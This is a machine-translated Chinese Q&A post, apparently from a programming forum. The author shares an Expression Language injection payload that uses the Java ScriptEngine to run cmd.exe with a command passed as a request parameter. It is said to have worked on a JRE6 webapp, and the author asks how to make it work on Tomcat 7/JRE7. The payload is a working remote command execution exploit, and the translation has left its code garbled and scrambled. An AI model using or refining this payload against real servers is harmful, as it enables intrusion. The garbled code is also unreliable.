http://blog.mindedsecurity.com/2015/11/reliable-os-shell-with-el-expression.html显示了通过EL注入获取操作系统的好方法，并且我已成功使用了很多次。帖子说：
调用引擎的eval（）方法＆＃34; JavaScript＆＃34;接受JS代码作为字符串（有时Jetty 8.2给出“java.io.Reader”）与JS代码执行运行时命令
我成功地针对在Apache 8.0.15.0上运行的JRE6 webapp运行了以下有效负载。
$ {session.setAttribute（＆＃34; scriptfactory＆＃34;＆＃34;＆＃34; .getClass（）的forName（＆＃34; javax.script.ScriptEngineManager＆＃34;。）的newInstance（） ）} $ {session.setAttribute（＆＃34;的ScriptEngine＆＃34;，session.getAttribute（＆＃34; scriptfactory＆＃34）。getEngineByName所（＆＃34;的JavaScript＆＃34;））} $ {session.getAttribute（ ＆＃34;的ScriptEngine＆＃34;。）的getContext GETRESPONSE（）的getWriter（））} $ {session.getAttribute（＆＃34（）setWriter（facesContext.getExternalContext（。）;的ScriptEngine＆＃34;。）的eval（＆ ＃34; var proc = new java.lang.ProcessBuilder [\＆＃34;（java.lang.String []）\＆＃34;]（[\＆＃34; cmd.exe \＆＃34;，\ ＆＃34; / C \＆＃34; \＆＃34;＆＃34; .concat（用request.getParameter（＆＃34; CMD＆＃34））的concat（＆＃34; \＆＃34; ]）。启动（）}
当我使用Tomcat 7.0.37针对JRE7尝试该有效负载时，我得到了一个类型异常
无法转换var proc = new java.lang.ProcessBuilder＆＃34;（java.lang.String []）＆＃34; .start（）;类java.lang.String类型java.io.Reader
如何在使用Java调用Javascript引擎的单线程的范围内处理此问题？